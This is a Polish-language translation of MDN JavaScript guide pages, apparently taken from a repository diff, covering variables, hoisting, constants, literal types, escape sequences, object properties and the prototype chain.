W poniższym przykładzie chcemy uzyskać dostęp do niezadeklarowanej zmiennej, co skutkować będzie błędem  {{jsxref("ReferenceError")}}:

- -
var a;
-console.log("The value of a is " + a); // W konsoli pojawi się komunikat "The value of a is undefined"
-console.log("The value of b is " + b); // wyrzuci wyjątek ReferenceError
-
- -

Możesz użyć wartości undefined do sprawdzenia czy dana zmienna posiada jakąś wartość. W poniższym kodzie zmienna input nie posiada przypisanej wartości, dlatego instrukcja if zwróci nam wartość true.

- -
var input;
-if(input === undefined){
-  doThis();
-} else {
-  doThat();
-}
-
- -

Wartość undefined zachowuje się jak false, kiedy używana jest w kontekście funkcji boolowskich. W poniższym przykładzie kod zawarty w instrukcji if zostanie uruchomiony, ponieważ żądany element nie istnieje w tej tablicy.

- -
var myArray = [];
-if (!myArray[0]) myFunction();
-
- -

Wartość undefined konwertowana jest do wartości NaN kiedy używana jest w kontekście numerycznym. 

- -
var a;
-a + 2; // ewaluacja do NaN
- -

Kiedy ewaluowana jest zmienna typu {{jsxref("null")}}, zachowuje się ona jak 0 w kontekście numerycznym i jako false w kontekście funkcji boolowskich. Ilustruje to poniższy przykład. 

- -
var n = null;
-console.log(n * 32); // zaloguje 0 w konsoli
-
- -

Zasięg zmiennej

- -

Zmienna, którą zadeklarujemy poza funkcją nazywana jest zmienną globalną, ponieważ jest ona dostępna z każdego miejsca w naszym kodzie. Jeżeli zmienna deklarowana jest wewnątrz funkcji, nazwana jest wtedy lokalną, ponieważ używać jej możemy tylko i wyłączenie w ciele tej funkcji. 

- -

JavaScript przed wersją ECMAScript 6 nie posiadał zasięgu blokowego, zamiast tego zmienna zadeklarowana w danym bloku była funkcją lokalną dla tej funkcji (lub zasięgu globalnego). Dla przykladu poniższy kod pokaże nam wartość 5, ponieważ zasięgiem zmiennej x jest funkcja, w której została ona zdefiniowana, a nie blok, którym w tym przypadku jest funkcja if

- -
if (true) {
-  var x = 5;
-}
-console.log(x);  // 5
-
- -

Zachowanie zmieni się, kiedy użyjemy deklaracji let wprowadzonej w standardzie ECMAScript 6.

- -
if (true) {
-  let y = 5;
-}
-console.log(y);  // ReferenceError: y is not defined
-
- -

Podnoszenie zmiennych

- -

Kolejną niecodzienną rzeczą, na którą natkniemy się pracując z JavaScript'em jest fakt, że bez żadnego błędu możemy uzyskać dostęp do zmiennych, które zadeklarowane są dalej w naszym skrypcie. Ta koncepcja zwana jest podnoszeniem lub windowaniem (ang. hoisting), ponieważ zmienne są niejako wyciągane do góry wyrażenia. Nie możemy jednak używać w ten sposób zmiennych, które nie zostały zinicjalizowane, ponieważ zwrócą one wartość undefined

- -
/**
- * Przykład 1
- */
-console.log(x === undefined); // Zwróci nam wartość "true"
-var x = 3;
-
-/**
- * Przykład 2
- */
-// zwróci wartość undefined
-var myvar = "my value";
-
-(function() {
-  console.log(myvar); // undefined
-  var myvar = "local value";
-})();
-
- -

Powyższe przykłady intepretowane będą tak samo jak:

- -
/**
- * Przykład 1
- */
-var x;
-console.log(x === undefined); // Zwaraca wartość "true"
-x = 3;
-
-/**
- * Przykład 2
- */
-var myvar = "my value";
-
-(function() {
-  var myvar;
-  console.log(myvar); // undefined
-  myvar = "local value";
-})();
-
- -

Przez podnoszenie wszystkie zmienne deklarowane poprzez użycie var, w miarę możliwości powinny być umieszczane na górze funkcji. Zwiększa to czytelność kodu i traktowane jest jako dobra praktyka. 

- -

W ECMAScript 2015 let (const) nie zostaną podniesione na górę bloku kodu. Jednak odwołanie do zmiennej, w bloku przed zadeklarowanymi, da w rezultacie ReferenceError. Zmienne będą w tzw. "tymczasowej martwej strefie" od początku bloku aż do stwierdzenia są przetwarzane.

- -
function do_something() { console.log(foo); // ReferenceError let foo = 2; }
- -

Zmienne globalne

- -

Zmienne globalne są w istocie właściwością obiektu globalnego. W przypadku stron internetowych obiektem tym jest {{domxref("window")}}, co pozwala na wykorzystywanie i manipulowanie zmiennymi globalnymi za pomocą składni window.variable.

- -

Pozwala to także na wykorzystywanie zmiennych globalnych zadeklarowanych w jednym oknie przez inne okno, poprzez jego nazwę. Na przykład zmienną phoneNumber zadeklarowaną w jednym dokumencie, możemy uzyskać poprzez wykorzystanie parent.phoneNumber.

- -

Stałe

- -

Możesz także tworzyć zmienne tylko do odczytu, zwane zmiennymi stałymi poprzez wykorzystywanie slowa kluczowego {{jsxref("Statements/const", "const")}}. Składnia identyfikatora stałego jest taka sama jak identyfikatora zmiennej. Musi zaczynać się od litery, podkreślnika lub symbolu dolara i może zawierać cyfry i znaki alfabetu. 

- -
const prefix = '212';
-
- -

Zmienna nie może zostać ponownie zadeklarowana lub przyjąć nowej wartości kiedy działa nasz skrypt. Możemy to zrobić jedynie przy jej inicjalizacji.

- -

Zasady zasięgu są dla niej takie same jak dla zmiennych tworzonych z użyciem let. Jeżeli pominiemy słowo kluczowe const identyfikator będzie intepretowany jako reprezentacja zmiennej.

- -

Limitacją dla stałych jest fakt, że nie możemy zadeklarować takiej, która wykorzystuje nazwę występującą już jako identyfikator zmiennej lub funkcji w tym samym bloku. Zachowanie to ilustruje poniższy przykład.

- -
// SPOWODUJE TO WYRZUCENIE BŁĘDU
-function f() {};
-const f = 5;
-
-// TO RÓWNIEŻ SPOWODUJE BŁĄD
-function f() {
-  const g = 5;
-  var g;
-
-  //instrukcje
-}
-
- -

Jednak atrybuty obiektu nie są chronione, , object attributes are not protected, więc następujące wyrażenie zostanie wykonywane bez problemów.

- -
const MY_OBJECT = {"key": "value"};
-MY_OBJECT.key = "otherValue";
-
- -

Struktury i typy danych

- -

Typy danych

- -

Najnowszy standard ECMAScript definiuje siedem typów danych:

- - - -

Mimo, że typów danych w javascript jest stosunkowo niewiele, pozwalają one na tworzenie  użytecznych funkcji.

- -

Konwersja typów danych

- -

JavaScript jest językiem dynamicznie typowanym. Oznacza to, że nie musimy deklarować typu zmiennej, ponieważ jest on automatycznie konwertowany do porządanych wartości w czasie wykonywania się skryptu. Przykładowo możemy zdefniniować zmienną w podany sposób:

- -
var answer = 42;
-
- -

A później przypisać do tej samej zmiennej kawałek typu string: 

- -
answer = "Dzięki za wszystko...";
-
- -

To przypisanie nie wywołuje błędu, gdyż typ danych został ustalony dynamicznie. 

- -

W wyrażeniach, w których tekst mieszany jest z liczbami za pomocą operatora "+" JavaScript konwertuje wartości liczbowe do ciągu znaków. Ilustruje to poniższy przykład:

- -
x = "Odpowiedź to " + 42 // "Odpowiedź to 42"
-y = 42 + " jest odpowiedzią" // "42 jest odpowiedzią"
-
- -

W przypadku użycia innych operatorów JavaScript nie używa powyższej metody, ale konwertuje je automatycznie próbując sparować dwie zmienne. 

- -
"37" - 7 // 30
-"37" + 7 // "377"
-
- -

Konwersja do typu number

- -

W przypadku kiedy w pamięci programu przechowujemy liczbę pod postacią łancucha znaków możemy posłużyć się poniższymi metodami konwersji:

- - - -

parseInt zwróci nam liczbę całkowitą, dobrą praktyką w przypadku zamiany z użyciem tej funkcji jest specyzowanie podstawy, która informuje o tym jaki system liczbowy został przez nas przyjęty.

- -

Alternatywną metodą konwersji jest użycie operatora "+", który działa zarówno z typem string jak i boolean.

- -
"1.1" + "1.1" = "1.11.1"
-(+"1.1") + (+"1.1") = 2.2
-// Notka: Cudzyslowy uzyte sa dla zwiekszenia czytelnosci, nie sa one wymagane
-
- -

Literały

- -

Literałów używa się w celu przedstawiania wartości w języku JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które dosłownie podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów:

- - - -

Literały tablicowe

- -

Literał tablicowy jest listą składającą się z zera lub większej liczby wyrażeń, gdzie każde z nich reprezentuje element tablicy i zamknięty jest w nawiasach kwadratowych. Tablica tworzona za pomocą literału tablicowego zostaje zainicjalizowana podanymi wartościami, które stają się jej elementami, a długość tablicy ustalona zostaje według liczby podanych argumentów.

- -

Poniższy przykład tworzy tablicę długości trzy,  o nazwie kawy, w której umieszczone zostają trzy elementy:

- -
kawy = ["Arabica", "Columbiana", "Zbożowa"]
-
- -

Uwaga Literał tablicowy jest typem inicjalizatora obiektu. Zobacz Używanie inicjalizatorów obiektu.

- -

Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo taki literał, kiedy zostaje użyty w funkcji tworzony jest przy każdym jej wywołaniu.

- -

Literały tablicowe są także obiektami typu Array. Zobacz obiekt Array, aby uzyskać więcej informacji o obiektach Array.

- -

Dodatkowe przecinki w literalach tablicowych

- -

W chwili inicjalizacji nie musisz deklarować wszystkich elementów tablicy. Jeżeli umieścisz następujące po sobie dwa przecinki, w miejscu pustego miejsca wstawiona będzie wartość undefined. W poniższym przykładzie tworzymy tablice o nazwie ryby:

- -
ryby = ["Piła", , "Młot"]
-
- -

Tablica ta posiada dwa elementy z wartościami i jeden pusty (wywołanie ryby[0] zwróci nam "Piła", wartość ryby[1] jest niezdefiniowana, a ryby[2] zwróći "Młot"):

- -

W przypadku kiedy pozostawiamy przecinek na końcu listy, jest on ignorowany.  (Uwaga: przecinki pozostawione na końcu listy mogą powodować błędy w starszych przeglądarkach i zalecane jest ich usuwanie). W poniższym przypadku długośc tablicy to trzy ponieważ nie istnieje element mojaLista[3]. Wszystkie inne przecinki w liście wskazują nowy element.

- -
var mojaLista = ['dom', , 'szkola', ];
-
- -

W poniższym przykładzie długość tablicy wynosi cztery, a elementy niezefiniowane występują pod indeksami 0 i 2.

- -
var mojaLista = [ , 'dom', , 'szkola'];
-
- -

W poniższym przykładzie tablica jest dlugości cztery, brakuje w niej zdefiniowanych elementów  mojaLista[1] oraz mojaLista[3]. Zignorowany zostaje jedynie ostatni przecinek.

- -
var mojaLista = ['dom', , 'szkola', , ];
-
- -

Zrozumienie zachowania dodatkowych przecinków jest bardzo ważne w procesie nauki języka JavaScript, jednocześnie zalecanym podejściem jest jawne deklarowanie brakujących elementów jako undefined, co pomaga zwiększyć czytelność kodu, ułatwia jego utrzymanie oraz wprowadzanie zmian w przyszłości.

- -

Literały boolowskie

- -

Typ Boolowski posiada dwie wartości literałowe: true oraz false

- -

Jednakże nie należy mylić tego z wartościami true oraz false, które są wartościami obiektu, ponieważ jest on jedynie reprezentacją prymitywnego typu danych. Więcej na ten temat możemy znaleźć w dokumentacji typu {{jsxref("Boolean")}}. 

- -

Literały całkowite

- -

Literały całkowite mogą być wyrażane w systemie decymalnym (baza 10), heksadecymalnym (baza 16), oktalnym (baza 8) oraz binarnym (baza 2).

- - - -

Posłużymy się kilkoma przykładami literałów całkowitych:

- -
0, 117 and -345 (dziesietne, baza 10)
-015, 0001 and -077 (oktalne, baza 8)
-0x1123, 0x00111 and -0xF1A7 (heksadecymalne, "hex" or baza 16)
-
- -

By zasięgnąc informacji przejdź do działu Numeric literals in the Lexical grammar reference.

- -

Literały zmiennoprzecinkowe

- -

Literały zmiennoprzecinkowe mogą zawierać poniższe elementy:

- - - -

Wykładnik potęgi oznaczami małą lub wielką literą "e", a następnie liczbą całkowitą która także może zawierać znak "+" lub "-". Literał zmiennoprzecinkowy musi zawierać conajmniej jedną cyfre oraz przecinek wymiennie z literą "e" (lub "E"). 

- -

Przykładowymi literałamy zmiennoprzecinkowymi są  3.1415, -3.1E12, .1e12, oraz 2E-12.

- -

Ogólna składnia wyrażenia przedstawiona jest na poniższym przykładzie: :

- -
[(+|-)][digits][.digits][(E|e)[(+|-)]digits]
-
- -

Na przykład:

- -
3.14
-2345.789
-.3333333333333333333
--.283185307179586
-
- -

Literały obiektowe

- -

Literałem obiektowym nazywamy listę złożoną z zera lub większej ilości par indeks - wartość, zamkniętych w nawiasy klamrowe ({}). Należy pamiętać by nie używać literałów obiektowych na początku wyrażeń, gdyż może to spowodować błąd programu lub zachowanie którego nie możemy przewidzieć. Jest to wynikiem zachowania intepretera, który odczyta otwierający nawias klamrowy jako początek bloku. 

- -

W poniższym przykładzie ilustrujemy literał obiektowy tworząc go i przypisując do zmiennej  samochod, następnie definiujemy element mojSamochod, którego wartośc ustalamy na "Saturn", do drugiego elementu przypisujemy wynik wywołania funkcji TypSamochodu("Honda"), a trzeci element specjalizacja reprezentuje wcześniej zainicjalizowaną zmienną Sprzedaz.

- -
var Sprzedaz = "Toyota";
-
-function TypSamochodu(nazwa) {
-  if (nazwa == "Honda") {
-    return nazwa;
-  } else {
-    return "Niestety nie sprzedajemy samochodow marki" + " + nazwa + ".";
-  }
-}
-
-var samochod = { mojSamochod: "Saturn", znajdzSamochod: TypSamochodu("Honda"), specializacja: Sprzedaz };
-
-console.log(samochod.mojSamochod);   // Saturn
-console.log(samochod.znajdzSamochod);  // Honda
-console.log(samochod.specjalizacja); // Toyota
-
- -

Dodatkowo możemy użyć literału numerycznego lub znakowego jako własności obiektu, a także zagnieżdzać je jeden w drugim. Poniższy przykład ilustruje użycie tych metod.

- -
var samochod = { wieleSamochodow: {a: "Saab", "b": "Jeep"}, 7: "Mazda" };
-
-console.log(samochod.wieleSamochodow.b); // Jeep
-console.log(samochod[7]); // Mazda
-
- -

Własności obiektu mogą być reprezentowane przez łańcuch znaków, także pusty. Jeżeli jego nazwa nie byłaby prawidłowym identifikatorem JavaScript musi być ujęta w cudzysłowach.

- -

Nazwy własności które nie są prawidłowe nie mogą być dostępne za pomocą operatora kropki (.), natomiast można je wywołać oraz zmieniać dzięki wykorzystaniu notacji tablicowej ("[]").

- -
var niestandardoweNazwyWlasnosci = {
-  "": "Pusty lancuch",
-  "!": "Bang!"
-}
-console.log(niestandardoweNazwyWlasnosci."");   // SyntaxError: Unexpected string
-console.log(niestandardoweNazwyWlasnosci[""]);  // Pusty lancuch
-console.log(niestandardoweNazwyWlasnosci.!);    // SyntaxError: Unexpected token !
-console.log(niestandardoweNazwyWlasnosci["!"]); // Bang!
- -

Warto zapamiętać:

- -
var foo = {a: "alfa", 2: "dwa"};
-console.log(foo.a);    // alfa
-console.log(foo[2]);   // dwa
-//console.log(foo.2);  // Error: missing ) after argument list
-//console.log(foo[a]); // Error: a is not defined
-console.log(foo["a"]); // alfa
-console.log(foo["2"]); // dwa
-
- -

Literały RegExp

- -

Literały regex są szablonem zamkniętym pomiędzy ukośnikami. Poniższy przykład obrazuje regex.

- -
var re = /ab+c/
- -

Literały łańcuchowe

- -

Literałem łancuchowym nazywamy zero lub więcej pojedyńczych znaków ujętych w podwójny (") lub pojedyńczy (') cudzysłów. Należy pamiętać by otwarcie i zamnięcie łańcucha zostało wyrażone za pomocą tego samego wariantu. Przykłady literałów łańcuchowych:

- - - -

Na literale łancuchowym możemy wywołać wszystkie metody jakich moglibyśmy użyć na obiekcie tego typu, ponieważ JavaScript automatycznie konwertuje literał do tymczasowego obiektu, na którym zostaje wywołana metoda a następnie jest on niszczony. Przykładem wykorzystania tej możliwości jest wywołanie String.length :

- -
console.log("John's cat".length)
-// Wypisze ilość symboli użytych w łancuchu łącznie z białymi znakami
-// W tym przypadku zwróconą wartością jest 10.
-
- -

Używanie literałów jest korzystniejsze dla wydajności naszych programów, dlatego jeżeli zaawansowane metody obiektu typu String nie są nam potrzebne powinniśmy pozostać przy ich wykorzystaniu. Więcej informacji na ten temat dostępne jest w dokumentacji obiektu {{jsxref("String")}}

- -

Używanie specjalnych znaków w łańcuchach

- -

W dodatku to podstawowych znaków w łancuchach możemy umieszczać zdefiniowane znaki specjalne, co ilustruje poniższy przykład.

- -
"jedna linia \n akolejna linia"
-
- -

Poniższa tabela pokazuje zestaw znaków które możemy wykorzystyć.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Tabela 2.1 Specjalne znaki w języku JavaScript
ZnakZnaczenie
\0Null Byte
\bBackspace
\fForm feed
\nNowa linia
\rPowrót wózka
\tTabulatura
\vWertykalna tabulatura
\'Apostrof lub pojedyńczy cudzysłów
\"Podwójny cudzysłów
\\Backslash
\XXXZnak zakodowany w formacie Latin-1 składający się z trzech znaków w systemie oktalnym, z przedzialu od 0 do 377. Przykładowo, sekwencja \251 reprezentuje symbol praw autorskich.
\xXXZnak zakodowany w formacie Latin-1 składający się z dwóch znaków w systemie heksadecymalnym, z przedzialu od 00 do FF. Przykładowo, sekwencja \xA9 reprezentuje symbol praw autorskich
\uXXXXZnak w formacie Unicode wyznaczony przez cztery liczby w formacie heksadecymalnym. Przykładowo \u00A9 w tym formacie reprezentuje symbol praw autorskich, więcej informacji na ten temat znajdziesz w  {{anch("Unicode escape sequences")}}.
- -

Unikanie znaków

- -

Dla znaków, które nie zostały wylistowane w Tabeli 2.1 poprzedzające je ukośnik jest ignorowany, jednakże jest to  zachowanie  przestrarzałe i należy go unikać. 

- -

By zachować znaki specjalne w łańcuchu należy poprzedzić je ukośnikiem, ta funkcjonalność znana jest jako unikanie znaków. Przykładowo:

- -
var cytat = "On przeczytał \"Kremacje Sama McGee\" autorstwa R.W. Service.";
-console.log(cytat);
-
- -

Rezultatem uruchomienia powyższego kodu jest: 

- -
On przeczytał "Kremacje Sama McGee" autorstwa R.W. Service.
-
- -

By zawrzeć w naszym programie ukośnik należy poprzedzić go drugim ukośnikiem, który spowoduje uniknięcie następującego go znaku. Przykładowo jeżeli chcemy przypisać do zmiennej ścieżkę  c:\temp musimy posłużyć się poniższym zapisem: 

- -
var sciezka = "c:\\temp";
-
- -

Możemy w ten sposób także  opuszczać znak końca linii, który zostanie usunięty z wartości zwróconej ze zmiennej .

- -
var str = "ten lancuch \
-jest rozbity \
-na wiele \
-linii."
-console.log(str);   // ten lancuch jest rozbity na wiele linii.
-
- -

Pomimo tego że natywnie JavaScript nie oferuje składni "heredoc" możemy zasymulować ją poprzed dodanie znaku końca linii i opuszczenie automatycznie dodawanego znaku: 

- -
var poem =
-"Na górze róże,\n\
-na dole fiołki.\n\
-Ale z was piękne,\n\
-są aniołki."
-
- -

Więcej informacji

- -

Ten rozdział skupia się na podstawowych własnościach składni umożliwiającej deklaracje i posługiwanie się typami. By dowiedzieć się więcej na temat konstrukcji dozwolonych w języku JavaScript odwiedź poniższe rozdziały w tym przewodniku: 

- - - -

W następnym rozdziale skupimy się nad kontrolą logiki programów i obsługą błędów.{{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}

diff --git a/files/pl/web/javascript/guide/working_with_objects/index.html b/files/pl/web/javascript/guide/working_with_objects/index.html new file mode 100644 index 0000000000..5f4df2019b --- /dev/null +++ b/files/pl/web/javascript/guide/working_with_objects/index.html @@ -0,0 +1,50 @@ +--- +title: Obiekty i własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Working_with_Objects +translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Objects_and_Properties +--- +

+

+

Obiekty i własności

+

Obiekty JavaScript łączą się z ich własnościami. Do własności obiektu odwołujesz się za pomocą prostego zapisu: +

+
objectName.propertyName
+
+

Wielkości znaków w nazwie mają znaczenie zarówno w przypadku obiektu jak i jego własności. Własności definiujesz poprzez przypisanie do niej wartości. Na przykład, przypuśćmy, że mamy obiekt o nazwie myCar (na razie załóżmy że ten obiekt już istnieje). Możesz zadeklarować (i jednocześnie zdefiniować) własności make, model i year tego obiektu następująco: +

+
myCar.make = "Ford";
+myCar.model = "Mustang";
+myCar.year = 1969;
+
+

Tablica jest uporządkowanym zbiorem wartości związanych z pojedynczymi nazwami zmiennych. Własności i tablice są w języku JavaScript bardzo ze sobą powiązane; właściwie są różnymi reprezentacjami tej samej struktury danych. Na przykład możesz wywoływać własności obiektu myCar następująco: +

+
myCar["make"] = "Ford"
+myCar["model"] = "Mustang"
+myCar["year"] = 1967
+
+

Ten typ tablicy nazywa się tablicą asocjacyjną (czasem listą asocjacyjną), ponieważ każdy jej element jest związany także z pewną wartością typu String. Ilustracją tego mechanizmu działania jest niżej zamieszczona funkcja wyświetlająca własności obiektu, który jest jej pierwszym argumentem podczas wywołania: +

+
function show_props(obj, obj_name) {
+   var result = "";
+   for (var i in obj)
+      result += obj_name + "." + i + " = " + obj[i] + "\n";
+   return result
+}
+
+

Więc funkcje call show_props(myCar, "myCar") zwróciły następująco: +

+
myCar.make = Ford
+myCar.model = Mustang
+myCar.year = 1967
+
+

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Funkcje predefiniowane:Funkcje escape i unescape", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów") }} +

+
+
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Objects_and_Properties", "es": "es/Gu\u00eda_JavaScript_1.5/Objetos_y_propiedades", "fr": "fr/Guide_JavaScript_1.5/Objets_et_propri\u00e9t\u00e9s", "ja": "ja/Core_JavaScript_1.5_Guide/Objects_and_Properties" } ) }} diff --git a/files/pl/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/pl/web/javascript/inheritance_and_the_prototype_chain/index.html new file mode 100644 index 0000000000..0c18115595 --- /dev/null +++ b/files/pl/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -0,0 +1,295 @@ +--- +title: Dziedziczenie i łańcuch prototypów +slug: Web/JavaScript/dziedziczenie_lancuch_prototypow +tags: + - Dziedziczenie + - JavaScript + - OOP +translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain +--- +
{{jsSidebar("Advanced")}}
+ +

JavaScript bywa mylący dla developerów doświadczonych w językach opartych na klasach (jak Java lub C++) przez to, że jest dynamiczny i nie zapewnia implementacji klasy per se (słowo kluczowe class zostało wprowadzone w ES2015, ale to tylko lukier składniowy, JavaScript pozostaje oparty na prototypach).

+ +

Jeżeli chodzi o dziedziczenie, JavaScript posiada tylko jedną konstrukcję: obiekty. Każdy obiekt posiada prywatną własność łączącą go z innym obiektem zwanym jego prototypem. Obiekt prototype posiada swój własny prototyp, i tak dalej aż obiekt osiągnie null jako swój prototyp. null nie ma prototypu i działa jak zakończenie łańcucha prototypów.

+ +

Podczas gdy jest to często uważane za słabość języka JavaScript, prototypowe podejście do dziedziczenia jest w rzeczywistości znacznie potężniejszym narzędziem niż model klasowy. Dla przykładu trywialnie proste jest zbudowanie klas w modelu prototypowym, podczas gdy odwrotna operacja jest znacznie bardziej skomplikowana.

+ +

Dziedziczenie z łańcucha prototypów

+ +

Dziedziczenie właściwości

+ +

Obiekty w JavaScript są dynamicznymi "workami" właściwości, nazywanych własnymi właściwościami (own properties). Obiekty JavaScript mają połączenie z obiektem prototypu. Podczas próby dostępu do właściwości obiektu, właściwość będzie szukana nie tylko w samym obiekcie, ale też w jego prototypie, prototypie jego prototypu i tak dalej, aż do odnalezienia właściwości o pasującej nazwie bądź końca łańcucha prototypów.

+ +
+

W standardzie ECMAScript, notacja jakisObiekt.[[Prototype]] jest używana do oznaczenia prototypu  jakisObiekt. Jest to odpowiednik właściwości __proto__ (przestarzały).

+ +

Nie powinno być to mylone z właściwością func.prototype funkcji, który zamiast tego oznacza [[Prototype]] który jest przypisany do wszystkich instancji stworzonych z danej funkcji kiedy jest użyta jako konstruktor . Od ECMAScript 6 do obiektu [[Prototype]] można uzyskać dostęp przez {{jsxref("Object.getPrototypeOf()")}} i {{jsxref("Object.setPrototypeOf()")}}.

+
+ +

Oto co się dzieje kiedy próbujemy uzyskać dostęp do właściwości:

+ +
// Przyjmijmy istnienie obiektu o, z własnymi właściwościami a i b:
+// {a: 1, b: 2}
+// o.[[Prototype]] ma właściwości b i c:
+// {b: 3, c: 4}
+// o.[[Prototype]].[[Prototype]] jest nullem.
+// Oznacza to koniec łańcucha prototypów,
+// zgodnie z definicją null nie ma [[Prototype]]
+// A więc pełny łańcuch prototypów wygląda tak:
+// {a:1, b:2} ---> {b:3, c:4} ---> null
+
+console.log(o.a); // 1
+// Czy istnieje własna właściwość 'a' obiektu o? Tak, jej wartość to 1.
+
+console.log(o.b); // 2
+// Czy istnieje własna właściwość 'b' obiektu o? Tak, jej wartość to 2.
+// Prototyp także ma właściwość 'b', ale nie jest ona brana pod uwagę.
+// Nazywa się to "zakrywaniem właściwości" (ang. property shadowing)
+
+console.log(o.c); // 4
+// Czy istnieje właściwość 'c' obiektu o? Nie, sprawdź prototyp.
+// Czy istnieje właściwość 'c' obiektu o.[[Prototype]]? Tak, jej wartość to 4.
+
+console.log(o.d); // undefined
+// Czy istnieje właściwość 'd' obiektu o? Nie, sprawdź prototyp.
+// Czy istnieje właściwość 'd' obiektu o.[[Prototype]]? Nie, sprawdź prototyp.
+// o.[[Prototype]].[[Prototype]] to null, koniec wyszukiwania.
+// Nie znaleziono właściwości, zwróć undefined.
+
+ +

Ustawienie właściwości obiektu tworzy własną właściwość. Jedyny wyjątek od reguł pobierania i tworzenia właściwości stanowi przypadek gdy istnieje odziedziczona właściwość z getterem lub setterem.

+ +

Dziedziczenie "metody"

+ +

JavaScript nie ma "metod" w rozumieniu języków obiektowych. W JS każda funkcja może być dodana jako właściwość do obiektu. Odziedziczona funkcja zachowuje się jak każda inna właściwość, wliczając w to zakrywanie właściwości, tak jak pokazano wyżej (w tym wypadku forma nadpisania metody).

+ +

Kiedy jest wykonywana odziedziczona metoda, wartość this wskazuje na obiekt, który dziedziczy, nie na obiekt w którym ta metoda została zadeklarowana jako własna właściwość

+ +
var o = {
+  a: 2,
+  m: function(b){
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// Podczas wywołania o.m, 'this' wskazuje na o
+
+var p = Object.create(o);
+// p jest obiektem dziedziczącym z o
+
+p.a = 12; // tworzy własną właściwość 'a' w obiekcie p
+console.log(p.m()); // 13
+// Podczas wywołania p.m, 'this' wskazuje na p.
+// p dziedziczy funkcję m z obiektu o.
+// 'this.a' oznacza p.a, własną właściwość 'a' obiektu p.
+
+ +

Różne sposoby tworzenia obiektów i powiązane z nimi łańcuchy prototypów.

+ + + +

Obiekty stworzone za pomocą podstawowej składni

+ +
var o = {a: 1};
+// Nowo stworzony obiekt używa Object.prototype jako swojego [[Prototype]]
+// o nie posiada właściwości o nazwie 'hasOwnProperty'
+// hasOwnProperty jest własną właściwością Object.prototype.
+// o dziedziczy hasOwnProperty z Object.prototype
+// Object.prototype ma null jako swój prototyp.
+// o ---> Object.prototype ---> null
+
+var a = ["yo", "whadup", "?"];
+// Tablice dziedziczą z Array.prototype
+// (który zawiera metody takie jak indexOf, forEach, itd.)
+// Łańcuch prototypów wygląda następująco:
+// a ---> Array.prototype ---> Object.prototype ---> null
+
+function f(){
+  return 2;
+}
+
+// Funkcje dziedziczą z Function.prototype
+// (który zawiera metody takie jak call, bind, itd.)
+// f ---> Function.prototype ---> Object.prototype ---> null
+
+ +

Za pomocą konstruktora

+ +

"Konstruktor" w JavaScript jest "tylko" funkcją, której używa się w połączeniu z operatorem new.

+ +
function Graph() {
+  this.vertices = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v){
+    this.vertices.push(v);
+  }
+};
+
+var g = new Graph();
+// g is an object with own properties 'vertices' and 'edges'.
+// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed.
+
+ +

Za pomocą Object.create

+ +

ECMAScript 5 wprowadził nową metodę: {{jsxref("Object.create()")}}. Wywołanie tej metody tworzy nowy obiekt. Jego prototypem staje się pierwszy argument tej metody:

+ +
var a = {a: 1};
+// a ---> Object.prototype ---> null
+
+var b = Object.create(a);
+// b ---> a ---> Object.prototype ---> null
+console.log(b.a); // 1 (inherited)
+
+var c = Object.create(b);
+// c ---> b ---> a ---> Object.prototype ---> null
+
+var d = Object.create(null);
+// d ---> null
+console.log(d.hasOwnProperty);
+// undefined, because d doesn't inherit from Object.prototype
+
+ +
+

Za pomocą słowa kluczowego class

+ +

ECMAScript 6 wprowadził zestaw nowych słów kluczowych do implementacji klas. Mimo, że konstrukcje te mogą wydawać się znajome programistom języków opartych na klasach, nie są one tym samym. JavaScript wciąż opiera się na prototypach. Nowe słowa kluczowe to {{jsxref("Statements/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} oraz {{jsxref("Operators/super", "super")}}.

+ +
"use strict";
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);
+
+ +

Wydajność

+ +

Czas dostępu do właściwości znajdujących się wysoko w łańcuchu prototypów może negatywnie wpływać na wydajność, co może mieć znaczenie w przypadku kodu, którego szybkość wykonania jest krytyczna. W dodatku próba dostępu do nieistniejącej właściwości zawsze powoduje przeszukanie pełnego łańcucha prototypów.

+ +

Kiedy iterujemy po właściwościach obiektu, sięgamy do każdej właściwości widocznej w łańcuchu prototypów.

+ +

Aby sprawdzić czy obiekt ma właściwość zdefiniowaną na nim samym, a nie gdzieś w łańcuchu prototypów, konieczne jest użycie metody hasOwnProperty, którą wszystkie obiekty dziedziczą z Object.prototype.

+ +

hasOwnProperty jest w JavaScript jedyną rzeczą, która działa na właściwościach obiektu nie przeszukując łańcucha prototypów.

+ +

Uwaga: sprawdzenie czy właściwość jest undefined nie wystarczy. Właściwość może istnieć, a jedynie mieć akurat wartość ustawioną na undefined.

+
+ +

Zła praktyka: Rozszerzanie natywnych prototypów

+ +

One mis-feature that is often used is to extend Object.prototype or one of the other built-in prototypes.

+ +

This technique is called monkey patching and breaks encapsulation. While used by popular frameworks such as Prototype.js, there is still no good reason for cluttering built-in types with additional non-standard functionality.

+ +

